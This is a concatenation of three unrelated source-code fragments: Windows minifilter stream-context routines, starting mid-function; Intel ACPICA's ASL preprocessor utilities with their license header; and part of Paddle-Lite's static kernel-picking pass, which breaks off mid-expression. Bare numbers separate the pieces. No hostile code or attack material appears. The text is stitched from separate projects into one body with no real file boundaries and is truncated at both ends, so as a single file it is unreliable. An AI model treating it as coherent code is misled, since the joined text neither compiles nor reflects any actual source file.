_In_ BOOLEAN CreateIfNotFound, _Outptr_ PCTX_STREAM_CONTEXT *StreamContext, _Out_opt_ PBOOLEAN ContextCreated ) /*++ Routine Description: This routine finds the stream context for the target stream. Optionally, if the context does not exist this routing creates a new one and attaches the context to the stream. Arguments: Cbd - Supplies a pointer to the callbackData which declares the requested operation. CreateIfNotFound - Supplies if the stream must be created if missing StreamContext - Returns the stream context ContextCreated - Returns if a new context was created Return Value: Status --*/ { NTSTATUS status; PCTX_STREAM_CONTEXT streamContext; PCTX_STREAM_CONTEXT oldStreamContext; PAGED_CODE(); *StreamContext = NULL; if (ContextCreated != NULL) *ContextCreated = FALSE; // // First try to get the stream context. // DebugTrace( DEBUG_TRACE_STREAM_CONTEXT_OPERATIONS, ("[Ctx]: Trying to get stream context (FileObject = %p, Instance = %p)\n", Cbd->Iopb->TargetFileObject, Cbd->Iopb->TargetInstance) ); status = FltGetStreamContext( Cbd->Iopb->TargetInstance, Cbd->Iopb->TargetFileObject, &streamContext ); // // If the call failed because the context does not exist // and the user wants to creat a new one, the create a // new context // if (!NT_SUCCESS( status ) && (status == STATUS_NOT_FOUND) && CreateIfNotFound) { // // Create a stream context // DebugTrace( DEBUG_TRACE_STREAM_CONTEXT_OPERATIONS, ("[Ctx]: Creating stream context (FileObject = %p, Instance = %p)\n", Cbd->Iopb->TargetFileObject, Cbd->Iopb->TargetInstance) ); status = CtxCreateStreamContext( &streamContext ); if (!NT_SUCCESS( status )) { DebugTrace( DEBUG_TRACE_ERROR | DEBUG_TRACE_STREAM_CONTEXT_OPERATIONS, ("[Ctx]: Failed to create stream context with status 0x%x. (FileObject = %p, Instance = %p)\n", status, Cbd->Iopb->TargetFileObject, Cbd->Iopb->TargetInstance) ); return status; } // // Set the new context we just allocated on the file object // DebugTrace( DEBUG_TRACE_STREAM_CONTEXT_OPERATIONS, ("[Ctx]: Setting stream context %p (FileObject = %p, Instance = %p)\n", streamContext, Cbd->Iopb->TargetFileObject, Cbd->Iopb->TargetInstance) ); status = FltSetStreamContext( Cbd->Iopb->TargetInstance, Cbd->Iopb->TargetFileObject, FLT_SET_CONTEXT_KEEP_IF_EXISTS, streamContext, &oldStreamContext ); if (!NT_SUCCESS( status )) { DebugTrace( DEBUG_TRACE_STREAM_CONTEXT_OPERATIONS, ("[Ctx]: Failed to set stream context with status 0x%x. (FileObject = %p, Instance = %p)\n", status, Cbd->Iopb->TargetFileObject, Cbd->Iopb->TargetInstance) ); // // We release the context here because FltSetStreamContext failed // // If FltSetStreamContext succeeded then the context will be returned // to the caller. The caller will use the context and then release it // when he is done with the context. // DebugTrace( DEBUG_TRACE_STREAM_CONTEXT_OPERATIONS, ("[Ctx]: Releasing stream context %p (FileObject = %p, Instance = %p)\n", streamContext, Cbd->Iopb->TargetFileObject, Cbd->Iopb->TargetInstance) ); FltReleaseContext( streamContext ); if (status != STATUS_FLT_CONTEXT_ALREADY_DEFINED) { // // FltSetStreamContext failed for a reason other than the context already // existing on the stream. So the object now does not have any context set // on it. So we return failure to the caller. // DebugTrace( DEBUG_TRACE_ERROR | DEBUG_TRACE_STREAM_CONTEXT_OPERATIONS, ("[Ctx]: Failed to set stream context with status 0x%x != STATUS_FLT_CONTEXT_ALREADY_DEFINED. (FileObject = %p, Instance = %p)\n", status, Cbd->Iopb->TargetFileObject, Cbd->Iopb->TargetInstance) ); return status; } // // Race condition. Someone has set a context after we queried it. // Use the already set context instead // DebugTrace( DEBUG_TRACE_STREAM_CONTEXT_OPERATIONS, ("[Ctx]: Stream context already defined. Retaining old stream context %p (FileObject = %p, Instance = %p)\n", oldStreamContext, Cbd->Iopb->TargetFileObject, Cbd->Iopb->TargetInstance) ); // // Return the existing context. Note that the new context that we allocated has already been // realeased above. // streamContext = oldStreamContext; status = STATUS_SUCCESS; } else { if (ContextCreated != NULL) *ContextCreated = TRUE; } } *StreamContext = streamContext; return status; } NTSTATUS CtxCreateStreamContext ( _Outptr_ PCTX_STREAM_CONTEXT *StreamContext ) /*++ Routine Description: This routine creates a new stream context Arguments: StreamContext - Returns the stream context Return Value: Status --*/ { NTSTATUS status; PCTX_STREAM_CONTEXT streamContext; PAGED_CODE(); // // Allocate a stream context // DebugTrace( DEBUG_TRACE_STREAM_CONTEXT_OPERATIONS, ("[Ctx]: Allocating stream context \n") ); status = FltAllocateContext( Globals.Filter, FLT_STREAM_CONTEXT, CTX_STREAM_CONTEXT_SIZE, PagedPool, &streamContext ); if (!NT_SUCCESS( status )) { DebugTrace( DEBUG_TRACE_STREAM_CONTEXT_OPERATIONS | DEBUG_TRACE_ERROR, ("[Ctx]: Failed to allocate stream context with status 0x%x \n", status) ); return status; } // // Initialize the newly created context // RtlZeroMemory( streamContext, CTX_STREAM_CONTEXT_SIZE ); streamContext->Resource = CtxAllocateResource(); if(streamContext->Resource == NULL) { FltReleaseContext( streamContext ); return STATUS_INSUFFICIENT_RESOURCES; } ExInitializeResourceLite( streamContext->Resource ); *StreamContext = streamContext; return STATUS_SUCCESS; } NTSTATUS CtxUpdateNameInStreamContext ( _In_ PUNICODE_STRING DirectoryName, _Inout_ PCTX_STREAM_CONTEXT StreamContext ) /*++ Routine Description: This routine updates the name of the target in the supplied stream context Arguments: DirectoryName - Supplies the directory name StreamContext - Returns the updated name in the stream context Return Value: Status Note: The caller must synchronize access to the context. This routine does no synchronization --*/ { NTSTATUS status; PAGED_CODE(); // // Free any existing name // if (StreamContext->FileName.Buffer != NULL) { CtxFreeUnicodeString(&StreamContext->FileName); } // // Allocate and copy off the directory name // StreamContext->FileName.MaximumLength = DirectoryName->Length; status = CtxAllocateUnicodeString(&StreamContext->FileName); if (NT_SUCCESS(status)) { RtlCopyUnicodeString(&StreamContext->FileName, DirectoryName); } return status; } NTSTATUS CtxCreateOrReplaceStreamHandleContext ( _In_ PFLT_CALLBACK_DATA Cbd, _In_ BOOLEAN ReplaceIfExists, _Outptr_ PCTX_STREAMHANDLE_CONTEXT *StreamHandleContext, _Out_opt_ PBOOLEAN ContextReplaced ) /*++ Routine Description: This routine creates a stream handle context for the target stream handle. Optionally, if the context already exists, this routine replaces it with the new context and releases the old context Arguments: Cbd - Supplies a pointer to the callbackData which declares the requested operation. ReplaceIfExists - Supplies if the stream handle context must be replaced if already present StreamContext - Returns the stream context ContextReplaced - Returns if an existing context was replaced Return Value: Status --*/ { NTSTATUS status; PCTX_STREAMHANDLE_CONTEXT streamHandleContext; PCTX_STREAMHANDLE_CONTEXT oldStreamHandleContext; PAGED_CODE(); *StreamHandleContext = NULL; if (ContextReplaced != NULL) *ContextReplaced = FALSE; // // Create a stream context // DebugTrace( DEBUG_TRACE_STREAMHANDLE_CONTEXT_OPERATIONS, ("[Ctx]: Creating stream handle context (FileObject = %p, Instance = %p)\n", Cbd->Iopb->TargetFileObject, Cbd->Iopb->TargetInstance) ); status = CtxCreateStreamHandleContext( &streamHandleContext ); if (!NT_SUCCESS( status )) { DebugTrace( DEBUG_TRACE_ERROR | DEBUG_TRACE_STREAMHANDLE_CONTEXT_OPERATIONS, ("[Ctx]: Failed to create stream context with status 0x%x. (FileObject = %p, Instance = %p)\n", status, Cbd->Iopb->TargetFileObject, Cbd->Iopb->TargetInstance) ); return status; } // // Set the new context we just allocated on the file object // DebugTrace( DEBUG_TRACE_STREAMHANDLE_CONTEXT_OPERATIONS, ("[Ctx]: Setting stream context %p (FileObject = %p, Instance = %p, ReplaceIfExists = %x)\n", streamHandleContext, Cbd->Iopb->TargetFileObject, Cbd->Iopb->TargetInstance, ReplaceIfExists) ); status = FltSetStreamHandleContext( Cbd->Iopb->TargetInstance, Cbd->Iopb->TargetFileObject, ReplaceIfExists ? FLT_SET_CONTEXT_REPLACE_IF_EXISTS : FLT_SET_CONTEXT_KEEP_IF_EXISTS, streamHandleContext, &oldStreamHandleContext ); if (!NT_SUCCESS( status )) { DebugTrace( DEBUG_TRACE_STREAMHANDLE_CONTEXT_OPERATIONS, ("[Ctx]: Failed to set stream handle context with status 0x%x. (FileObject = %p, Instance = %p)\n", status, Cbd->Iopb->TargetFileObject, Cbd->Iopb->TargetInstance) ); // // We release the context here because FltSetStreamContext failed // // If FltSetStreamContext succeeded then the context will be returned // to the caller. The caller will use the context and then release it // when he is done with the context. // DebugTrace( DEBUG_TRACE_STREAMHANDLE_CONTEXT_OPERATIONS, ("[Ctx]: Releasing stream handle context %p (FileObject = %p, Instance = %p)\n", streamHandleContext, Cbd->Iopb->TargetFileObject, Cbd->Iopb->TargetInstance) ); FltReleaseContext( streamHandleContext ); if (status != STATUS_FLT_CONTEXT_ALREADY_DEFINED) { // // FltSetStreamContext failed for a reason other than the context already // existing on the stream. So the object now does not have any context set // on it. So we return failure to the caller. // DebugTrace( DEBUG_TRACE_ERROR | DEBUG_TRACE_STREAMHANDLE_CONTEXT_OPERATIONS, ("[Ctx]: Failed to set stream context with status 0x%x != STATUS_FLT_CONTEXT_ALREADY_DEFINED. (FileObject = %p, Instance = %p)\n", status, Cbd->Iopb->TargetFileObject, Cbd->Iopb->TargetInstance) ); return status; } // // We will reach here only if we have failed with STATUS_FLT_CONTEXT_ALREADY_DEFINED // and we can fail with that code only if the context already exists and we have used // the FLT_SET_CONTEXT_KEEP_IF_EXISTS flag FLT_ASSERT( ReplaceIfExists == FALSE ); // // Race condition. Someone has set a context after we queried it. // Use the already set context instead // DebugTrace( DEBUG_TRACE_STREAMHANDLE_CONTEXT_OPERATIONS, ("[Ctx]: Stream context already defined. Retaining old stream context %p (FileObject = %p, Instance = %p)\n", oldStreamHandleContext, Cbd->Iopb->TargetFileObject, Cbd->Iopb->TargetInstance) ); // // Return the existing context. Note that the new context that we allocated has already been // realeased above. // streamHandleContext = oldStreamHandleContext; status = STATUS_SUCCESS; } else { // // FltSetStreamContext has suceeded. The new context will be returned // to the caller. The caller will use the context and then release it // when he is done with the context. // // However, if we have replaced an existing context then we need to // release the old context so as to decrement the ref count on it. // // Note that the memory allocated to the objects within the context // will be freed in the context cleanup and must not be done here. // if ( ReplaceIfExists && oldStreamHandleContext != NULL) { DebugTrace( DEBUG_TRACE_STREAMHANDLE_CONTEXT_OPERATIONS, ("[Ctx]: Releasing old stream handle context %p (FileObject = %p, Instance = %p)\n", oldStreamHandleContext, Cbd->Iopb->TargetFileObject, Cbd->Iopb->TargetInstance) ); FltReleaseContext( oldStreamHandleContext ); if (ContextReplaced != NULL) *ContextReplaced = TRUE; } } *StreamHandleContext = streamHandleContext; return status; } NTSTATUS CtxCreateStreamHandleContext ( _Outptr_ PCTX_STREAMHANDLE_CONTEXT *StreamHandleContext ) /*++ Routine Description: This routine creates a new stream context Arguments: StreamContext - Returns the stream context Return Value: Status --*/ { NTSTATUS status; PCTX_STREAMHANDLE_CONTEXT streamHandleContext; PAGED_CODE(); // // Allocate a stream context // DebugTrace( DEBUG_TRACE_STREAMHANDLE_CONTEXT_OPERATIONS, ("[Ctx]: Allocating stream handle context \n") ); status = FltAllocateContext( Globals.Filter, FLT_STREAMHANDLE_CONTEXT, CTX_STREAMHANDLE_CONTEXT_SIZE, PagedPool, &streamHandleContext ); if (!NT_SUCCESS( status )) { DebugTrace( DEBUG_TRACE_STREAMHANDLE_CONTEXT_OPERATIONS | DEBUG_TRACE_ERROR, ("[Ctx]: Failed to allocate stream handle context with status 0x%x \n", status) ); return status; } // // Initialize the newly created context // RtlZeroMemory( streamHandleContext, CTX_STREAMHANDLE_CONTEXT_SIZE ); streamHandleContext->Resource = CtxAllocateResource(); if(streamHandleContext->Resource == NULL) { FltReleaseContext( streamHandleContext ); return STATUS_INSUFFICIENT_RESOURCES; } ExInitializeResourceLite( streamHandleContext->Resource ); *StreamHandleContext = streamHandleContext; return STATUS_SUCCESS; } NTSTATUS CtxUpdateNameInStreamHandleContext ( _In_ PUNICODE_STRING DirectoryName, _Inout_ PCTX_STREAMHANDLE_CONTEXT StreamHandleContext ) /*++ Routine Description: This routine updates the name of the target in the supplied stream handle context Arguments: DirectoryName - Supplies the directory name StreamHandleContext - Returns the updated name in the stream context Return Value: Status Note: The caller must synchronize access to the context. This routine does no synchronization --*/ { NTSTATUS status; PAGED_CODE(); // // Free any existing name // if (StreamHandleContext->FileName.Buffer != NULL) { CtxFreeUnicodeString(&StreamHandleContext->FileName); } // // Allocate and copy off the directory name // StreamHandleContext->FileName.MaximumLength = DirectoryName->Length; status = CtxAllocateUnicodeString(&StreamHandleContext->FileName); if (NT_SUCCESS(status)) { RtlCopyUnicodeString(&StreamHandleContext->FileName, DirectoryName); } return status; }
13,198
432
/****************************************************************************** * * Module Name: prutils - Preprocessor utilities * *****************************************************************************/ /****************************************************************************** * * 1. Copyright Notice * * Some or all of this work - Copyright (c) 1999 - 2021, Intel Corp. * All rights reserved. * * 2. License * * 2.1. This is your license from Intel Corp. under its intellectual property * rights. You may have additional license terms from the party that provided * you this software, covering your right to use that party's intellectual * property rights. * * 2.2. Intel grants, free of charge, to any person ("Licensee") obtaining a * copy of the source code appearing in this file ("Covered Code") an * irrevocable, perpetual, worldwide license under Intel's copyrights in the * base code distributed originally by Intel ("Original Intel Code") to copy, * make derivatives, distribute, use and display any portion of the Covered * Code in any form, with the right to sublicense such rights; and * * 2.3. Intel grants Licensee a non-exclusive and non-transferable patent * license (with the right to sublicense), under only those claims of Intel * patents that are infringed by the Original Intel Code, to make, use, sell, * offer to sell, and import the Covered Code and derivative works thereof * solely to the minimum extent necessary to exercise the above copyright * license, and in no event shall the patent license extend to any additions * to or modifications of the Original Intel Code. No other license or right * is granted directly or by implication, estoppel or otherwise; * * The above copyright and patent license is granted only if the following * conditions are met: * * 3. Conditions * * 3.1. Redistribution of Source with Rights to Further Distribute Source. * Redistribution of source code of any substantial portion of the Covered * Code or modification with rights to further distribute source must include * the above Copyright Notice, the above License, this list of Conditions, * and the following Disclaimer and Export Compliance provision. In addition, * Licensee must cause all Covered Code to which Licensee contributes to * contain a file documenting the changes Licensee made to create that Covered * Code and the date of any change. Licensee must include in that file the * documentation of any changes made by any predecessor Licensee. Licensee * must include a prominent statement that the modification is derived, * directly or indirectly, from Original Intel Code. * * 3.2. Redistribution of Source with no Rights to Further Distribute Source. * Redistribution of source code of any substantial portion of the Covered * Code or modification without rights to further distribute source must * include the following Disclaimer and Export Compliance provision in the * documentation and/or other materials provided with distribution. In * addition, Licensee may not authorize further sublicense of source of any * portion of the Covered Code, and must include terms to the effect that the * license from Licensee to its licensee is limited to the intellectual * property embodied in the software Licensee provides to its licensee, and * not to intellectual property embodied in modifications its licensee may * make. * * 3.3. Redistribution of Executable. Redistribution in executable form of any * substantial portion of the Covered Code or modification must reproduce the * above Copyright Notice, and the following Disclaimer and Export Compliance * provision in the documentation and/or other materials provided with the * distribution. * * 3.4. Intel retains all right, title, and interest in and to the Original * Intel Code. * * 3.5. Neither the name Intel nor any other trademark owned or controlled by * Intel shall be used in advertising or otherwise to promote the sale, use or * other dealings in products derived from or relating to the Covered Code * without prior written authorization from Intel. * * 4. Disclaimer and Export Compliance * * 4.1. INTEL MAKES NO WARRANTY OF ANY KIND REGARDING ANY SOFTWARE PROVIDED * HERE. ANY SOFTWARE ORIGINATING FROM INTEL OR DERIVED FROM INTEL SOFTWARE * IS PROVIDED "AS IS," AND INTEL WILL NOT PROVIDE ANY SUPPORT, ASSISTANCE, * INSTALLATION, TRAINING OR OTHER SERVICES. INTEL WILL NOT PROVIDE ANY * UPDATES, ENHANCEMENTS OR EXTENSIONS. INTEL SPECIFICALLY DISCLAIMS ANY * IMPLIED WARRANTIES OF MERCHANTABILITY, NONINFRINGEMENT AND FITNESS FOR A * PARTICULAR PURPOSE. * * 4.2. IN NO EVENT SHALL INTEL HAVE ANY LIABILITY TO LICENSEE, ITS LICENSEES * OR ANY OTHER THIRD PARTY, FOR ANY LOST PROFITS, LOST DATA, LOSS OF USE OR * COSTS OF PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES, OR FOR ANY INDIRECT, * SPECIAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THIS AGREEMENT, UNDER ANY * CAUSE OF ACTION OR THEORY OF LIABILITY, AND IRRESPECTIVE OF WHETHER INTEL * HAS ADVANCE NOTICE OF THE POSSIBILITY OF SUCH DAMAGES. THESE LIMITATIONS * SHALL APPLY NOTWITHSTANDING THE FAILURE OF THE ESSENTIAL PURPOSE OF ANY * LIMITED REMEDY. * * 4.3. Licensee shall not export, either directly or indirectly, any of this * software or system incorporating such software without first obtaining any * required license or other approval from the U. S. Department of Commerce or * any other agency or department of the United States Government. In the * event Licensee exports any such software from the United States or * re-exports any such software from a foreign destination, Licensee shall * ensure that the distribution and export/re-export of the software is in * compliance with all laws, regulations, orders, or other restrictions of the * U.S. Export Administration Regulations. Licensee agrees that neither it nor * any of its subsidiaries will export/re-export any technical data, process, * software, or service, directly or indirectly, to any country for which the * United States government or any agency thereof requires an export license, * other governmental approval, or letter of assurance, without first obtaining * such license, approval or letter. * ***************************************************************************** * * Alternatively, you may choose to be licensed under the terms of the * following license: * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions, and the following disclaimer, * without modification. * 2. Redistributions in binary form must reproduce at minimum a disclaimer * substantially similar to the "NO WARRANTY" disclaimer below * ("Disclaimer") and any redistribution must be conditioned upon * including a substantially similar Disclaimer requirement for further * binary redistribution. * 3. Neither the names of the above-listed copyright holders nor the names * of any contributors may be used to endorse or promote products derived * from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * * Alternatively, you may choose to be licensed under the terms of the * GNU General Public License ("GPL") version 2 as published by the Free * Software Foundation. * *****************************************************************************/ #include "aslcompiler.h" #define _COMPONENT ASL_PREPROCESSOR ACPI_MODULE_NAME ("prutils") /****************************************************************************** * * FUNCTION: PrGetNextToken * * PARAMETERS: Buffer - Current line buffer * MatchString - String with valid token delimiters * Next - Set to next possible token in buffer * * RETURN: Next token (null-terminated). Modifies the input line. * Remainder of line is stored in *Next. * * DESCRIPTION: Local implementation of strtok() with local storage for the * next pointer. Not only thread-safe, but allows multiple * parsing of substrings such as expressions. * *****************************************************************************/ char * PrGetNextToken ( char *Buffer, char *MatchString, char **Next) { char *TokenStart; if (!Buffer) { /* Use Next if it is valid */ Buffer = *Next; if (!(*Next)) { return (NULL); } } /* Skip any leading delimiters */ while (*Buffer) { if (strchr (MatchString, *Buffer)) { Buffer++; } else { break; } } /* Anything left on the line? */ if (!(*Buffer)) { *Next = NULL; return (NULL); } TokenStart = Buffer; /* Find the end of this token */ while (*Buffer) { if (strchr (MatchString, *Buffer)) { *Buffer = 0; *Next = Buffer+1; if (!**Next) { *Next = NULL; } return (TokenStart); } Buffer++; } *Next = NULL; return (TokenStart); } /******************************************************************************* * * FUNCTION: PrError * * PARAMETERS: Level - Seriousness (Warning/error, etc.) * MessageId - Index into global message buffer * Column - Column in current line * * RETURN: None * * DESCRIPTION: Preprocessor error reporting. Front end to AslCommonError2 * ******************************************************************************/ void PrError ( UINT8 Level, UINT16 MessageId, UINT32 Column) { #if 0 AcpiOsPrintf ("%s (%u) : %s", AslGbl_Files[ASL_FILE_INPUT].Filename, AslGbl_CurrentLineNumber, AslGbl_CurrentLineBuffer); #endif if (Column > 120) { Column = 0; } /* TBD: Need Logical line number? */ AslCommonError2 (Level, MessageId, AslGbl_CurrentLineNumber, Column, AslGbl_CurrentLineBuffer, AslGbl_Files[ASL_FILE_INPUT].Filename, "Preprocessor"); AslGbl_PreprocessorError = TRUE; } /******************************************************************************* * * FUNCTION: PrReplaceData * * PARAMETERS: Buffer - Original(target) buffer pointer * LengthToRemove - Length to be removed from target buffer * BufferToAdd - Data to be inserted into target buffer * LengthToAdd - Length of BufferToAdd * * RETURN: None * * DESCRIPTION: Generic buffer data replacement. * ******************************************************************************/ void PrReplaceData ( char *Buffer, UINT32 LengthToRemove, char *BufferToAdd, UINT32 LengthToAdd) { UINT32 BufferLength; /* Buffer is a string, so the length must include the terminating zero */ BufferLength = strlen (Buffer) + 1; if (LengthToRemove != LengthToAdd) { /* * Move some of the existing data * 1) If adding more bytes than removing, make room for the new data * 2) if removing more bytes than adding, delete the extra space */ if (LengthToRemove > 0) { memmove ((Buffer + LengthToAdd), (Buffer + LengthToRemove), (BufferLength - LengthToRemove)); } } /* Now we can move in the new data */ if (LengthToAdd > 0) { memmove (Buffer, BufferToAdd, LengthToAdd); } } /******************************************************************************* * * FUNCTION: PrOpenIncludeFile * * PARAMETERS: Filename - Filename or pathname for include file * * RETURN: None. * * DESCRIPTION: Open an include file and push it on the input file stack. * ******************************************************************************/ FILE * PrOpenIncludeFile ( char *Filename, char *OpenMode, char **FullPathname) { FILE *IncludeFile; ASL_INCLUDE_DIR *NextDir; /* Start the actual include file on the next line */ AslGbl_CurrentLineOffset++; /* Attempt to open the include file */ /* If the file specifies an absolute path, just open it */ if ((Filename[0] == '/') || (Filename[0] == '\\') || (Filename[1] == ':')) { IncludeFile = PrOpenIncludeWithPrefix ( "", Filename, OpenMode, FullPathname); if (!IncludeFile) { goto ErrorExit; } return (IncludeFile); } /* * The include filename is not an absolute path. * * First, search for the file within the "local" directory -- meaning * the same directory that contains the source file. * * Construct the file pathname from the global directory name. */ IncludeFile = PrOpenIncludeWithPrefix ( AslGbl_DirectoryPath, Filename, OpenMode, FullPathname); if (IncludeFile) { return (IncludeFile); } /* * Second, search for the file within the (possibly multiple) * directories specified by the -I option on the command line. */ NextDir = AslGbl_IncludeDirList; while (NextDir) { IncludeFile = PrOpenIncludeWithPrefix ( NextDir->Dir, Filename, OpenMode, FullPathname); if (IncludeFile) { return (IncludeFile); } NextDir = NextDir->Next; } /* We could not open the include file after trying very hard */ ErrorExit: sprintf (AslGbl_MainTokenBuffer, "%s, %s", Filename, strerror (errno)); PrError (ASL_ERROR, ASL_MSG_INCLUDE_FILE_OPEN, 0); return (NULL); } /******************************************************************************* * * FUNCTION: FlOpenIncludeWithPrefix * * PARAMETERS: PrefixDir - Prefix directory pathname. Can be a zero * length string. * Filename - The include filename from the source ASL. * * RETURN: Valid file descriptor if successful. Null otherwise. * * DESCRIPTION: Open an include file and push it on the input file stack. * ******************************************************************************/ FILE * PrOpenIncludeWithPrefix ( char *PrefixDir, char *Filename, char *OpenMode, char **FullPathname) { FILE *IncludeFile; char *Pathname; /* Build the full pathname to the file */ Pathname = FlMergePathnames (PrefixDir, Filename); DbgPrint (ASL_PARSE_OUTPUT, PR_PREFIX_ID "Include: Opening file - \"%s\"\n", AslGbl_CurrentLineNumber, Pathname); /* Attempt to open the file, push if successful */ IncludeFile = fopen (Pathname, OpenMode); if (!IncludeFile) { return (NULL); } /* Push the include file on the open input file stack */ PrPushInputFileStack (IncludeFile, Pathname); *FullPathname = Pathname; return (IncludeFile); } /******************************************************************************* * * FUNCTION: AslPushInputFileStack * * PARAMETERS: InputFile - Open file pointer * Filename - Name of the file * * RETURN: None * * DESCRIPTION: Push the InputFile onto the file stack, and point the parser * to this file. Called when an include file is successfully * opened. * ******************************************************************************/ void PrPushInputFileStack ( FILE *InputFile, char *Filename) { PR_FILE_NODE *Fnode; AslGbl_HasIncludeFiles = TRUE; /* Save the current state in an Fnode */ Fnode = UtLocalCalloc (sizeof (PR_FILE_NODE)); Fnode->File = AslGbl_Files[ASL_FILE_INPUT].Handle; Fnode->Next = AslGbl_InputFileList; Fnode->Filename = AslGbl_Files[ASL_FILE_INPUT].Filename; Fnode->CurrentLineNumber = AslGbl_CurrentLineNumber; /* Push it on the stack */ AslGbl_InputFileList = Fnode; DbgPrint (ASL_PARSE_OUTPUT, PR_PREFIX_ID "Push InputFile Stack: handle %p\n\n", AslGbl_CurrentLineNumber, InputFile); /* Reset the global line count and filename */ AslGbl_Files[ASL_FILE_INPUT].Filename = UtLocalCacheCalloc (strlen (Filename) + 1); strcpy (AslGbl_Files[ASL_FILE_INPUT].Filename, Filename); AslGbl_Files[ASL_FILE_INPUT].Handle = InputFile; AslGbl_CurrentLineNumber = 1; /* Emit a new #line directive for the include file */ FlPrintFile (ASL_FILE_PREPROCESSOR, "#line %u \"%s\"\n", 1, Filename); } /******************************************************************************* * * FUNCTION: AslPopInputFileStack * * PARAMETERS: None * * RETURN: 0 if a node was popped, -1 otherwise * * DESCRIPTION: Pop the top of the input file stack and point the parser to * the saved parse buffer contained in the fnode. Also, set the * global line counters to the saved values. This function is * called when an include file reaches EOF. * ******************************************************************************/ BOOLEAN PrPopInputFileStack ( void) { PR_FILE_NODE *Fnode; Fnode = AslGbl_InputFileList; DbgPrint (ASL_PARSE_OUTPUT, "\n" PR_PREFIX_ID "Pop InputFile Stack, Fnode %p\n\n", AslGbl_CurrentLineNumber, Fnode); if (!Fnode) { return (FALSE); } /* Close the current include file */ fclose (AslGbl_Files[ASL_FILE_INPUT].Handle); /* Update the top-of-stack */ AslGbl_InputFileList = Fnode->Next; /* Reset global line counter and filename */ AslGbl_Files[ASL_FILE_INPUT].Filename = Fnode->Filename; AslGbl_Files[ASL_FILE_INPUT].Handle = Fnode->File; AslGbl_CurrentLineNumber = Fnode->CurrentLineNumber; /* Emit a new #line directive after the include file */ FlPrintFile (ASL_FILE_PREPROCESSOR, "#line %u \"%s\"\n", AslGbl_CurrentLineNumber, Fnode->Filename); /* All done with this node */ ACPI_FREE (Fnode); return (TRUE); }
6,740
1,799
<reponame>chiaitian/Paddle-Lite // Copyright (c) 2019 PaddlePaddle Authors. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. #include "lite/core/optimizer/mir/static_kernel_pick_pass.h" #include <algorithm> #include <list> #include <map> #include <memory> #include <string> #include <utility> #include <vector> #include "lite/core/optimizer/mir/graph_visualize_pass.h" #include "lite/core/optimizer/mir/pass_registry.h" namespace paddle { namespace lite { namespace mir { bool KernelScoreCmp(const std::pair<float, std::unique_ptr<KernelBase>>& a, const std::pair<float, std::unique_ptr<KernelBase>>& b) { return a.first > b.first; } void StaticKernelPickPass::Apply(const std::unique_ptr<SSAGraph>& graph) { kernel_pick_factors_.ConsiderTarget(); kernel_pick_factors_.ConsiderPrecision(); kernel_pick_factors_.ConsiderDataLayout(); CHECK(kernel_pick_factors_.any_factor_considered()) << "kernel_pick_factors should be specified first"; CHECK(graph) << "graph not valid"; // sort kernels by the factors. VLOG(4) << "graph->mutable_nodes().size():" << graph->mutable_nodes().size(); for (auto& node : graph->mutable_nodes()) { if (!node.IsStmt()) continue; auto& instruct = node.AsStmt(); std::map<std::string, PrecisionType> in_types; std::map<std::string, PrecisionType> out_types; // threse precision info store in __model__ file, if selected fp16 kernel, // the output precision should be changed for (std::list<Node*>::iterator i = node.inlinks.begin(); i != node.inlinks.end(); ++i) { if ((*i)->arg()->type) in_types[(*i)->arg()->name] = (*i)->arg()->type->precision(); } for (std::list<Node*>::iterator i = node.outlinks.begin(); i != node.outlinks.end(); ++i) { if ((*i)->arg()->type) out_types[(*i)->arg()->name] = (*i)->arg()->type->precision(); } // Get candidate kernels std::vector<std::pair<float, std::unique_ptr<KernelBase>>> scored; CHECK(!instruct.kernels().empty()) << "No kernels found for " << instruct.op_type(); VLOG(4) << "instruct.kernels().size():" << instruct.kernels().size(); for (auto&& kernel : instruct.kernels()) { float score = KernelGrade(instruct, *kernel, graph->valid_places(), in_types, out_types, instruct.op_info()->input_names(), instruct.op_info()->output_names()); VLOG(4) << "kernel->summary():" << kernel->summary() << " score:" << score; scored.emplace_back(score, std::move(kernel)); } std::stable_sort(scored.begin(), scored.end(), KernelScoreCmp); instruct.kernels().clear(); if (!instruct.op_info()->HasAttr("enable_int8")) { // Move kernel back // Just keep a single best kernel. // TODO(Superjomn) reconsider this. instruct.kernels().emplace_back(std::move(scored.front().second)); VLOG(2) << "pick " << instruct.kernels().front()->summary() << "\n\n"; } else { bool out_type_int8 = true; // Quantized lstm has fp32 output if (instruct.op_type() == "lstm" || instruct.op_type() == "gru" || instruct.op_type() == "__xpu__multi_encoder" || instruct.op_type() == "__xpu__fc") { out_type_int8 = false; } // Only if all ops linked to this op output has enable_int8 attr, // then the op output type is int8, or fp32. // Note, the quantized op linked to lstm and gru should output fp32 // tensor. for (auto* out_n : node.outlinks) { CHECK(out_n->IsArg()); for (auto* tmp_op : out_n->outlinks) { CHECK(tmp_op->IsStmt()); auto* tmp_op_info = tmp_op->AsStmt().op_info(); if (!tmp_op_info->HasAttr("enable_int8") || tmp_op_info->Type() == "lstm" || tmp_op_info->Type() == "gru" || 